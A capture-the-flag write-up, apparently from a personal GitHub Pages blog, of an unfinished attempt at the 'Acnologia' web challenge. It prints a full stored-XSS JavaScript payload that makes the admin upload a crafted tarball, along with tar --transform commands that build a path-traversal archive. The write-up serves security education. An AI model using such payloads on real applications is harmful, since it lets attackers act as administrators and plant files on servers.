Pierre Gaulon

Pierre Gaulon Github pages

View on GitHub

[Web] Acnologia

Disclaimer: we did not finish this challenge, but we still want to document our thought process in the resolution. Solutions can be found here


Acnologia Portal is an application which allows admins to upload firmware, and users to report problem on those firmware.

As usual, whenever some input is user-provided and parsed by an elevated user, this calls for an XSS. Either to steal a cookie if HTTP only is not enabled, or as CSRF, is CSRF tokens are not in use. In this case cookies are using HTTP only: we cannot steal sessions.

However the source code is provided, and we can perform actions on behalf of the admin from our Javascript input.

The admin needs to upload a file to the /api/firmware/upload endpoint.

source upload

This will be handled by the extract_firmware function. This function will extract a .tar.gz file from the /tmp folder, into a randomly created directory in the web root.

source extract

This function is vulnerable to path traversal in both:

To sum up:

Here is the Javascript for the XSS: from any registered user to create a report, for the admin to visit. This allows us to upload any base64 encoded file (instead of plain binary), on behalf of the admin:

<script>
    function b64_to_bytearray(b64str) {
        var byteCharacters = atob(b64str);
        var byteArrays = [];
        var sliceSize = 512;

        for (let offset = 0; offset < byteCharacters.length; offset += sliceSize) {
            const slice = byteCharacters.slice(offset, offset + sliceSize);
            const byteNumbers = new Array(slice.length);
            for (let i = 0; i < slice.length; i++) {
                byteNumbers[i] = slice.charCodeAt(i);
            }
            const byteArray = new Uint8Array(byteNumbers);
            byteArrays.push(byteArray);
        }

        return byteArrays;
    }

function upload_firmware(file, content) {
    var uri = "/api/firmware/upload";
    xhr = new XMLHttpRequest();
    xhr.open("POST", uri, true);
    xhr.withCredentials = "true";
    var formData = new FormData();
    var exploit_b64 = content
    var exploit_tgz = b64_to_bytearray(exploit_b64);
    var blob = new Blob(exploit_tgz, {type: "application/gzip"});
    formData.append("file", blob, file);
    xhr.send(formData);
}

// base64 < file.tgz | tr -d "\n"
setTimeout(upload_firmware("../../../lol.tgz", "H4sIAAAAAAAAA+3RMQ7DIAxAUY7CCYghJjlPlnZBQkqJlOPXyZih7cIQ9b/FSHgA/VLL4DoTM+d8TnOd5zlq0qjjLGp7UUadnM+9H3bYXm1ZvXdrre3T3rf7myrWP4ThUZZnaHufHx6BJ9Uf+idRSdY/JbH+0uU1F3/eHwAAAAAAAAAAAAAAAMB9vQEbwhL2ACgAAA=="),5000);
</script>

The path traversal with a tarball is created with the transform option:

touch flag.txt
tar --transform "s|flag.txt|../../flag.txt|" -cvzf flag.tgz flag.txt
base64 < flag.tgz | tr -d "\n"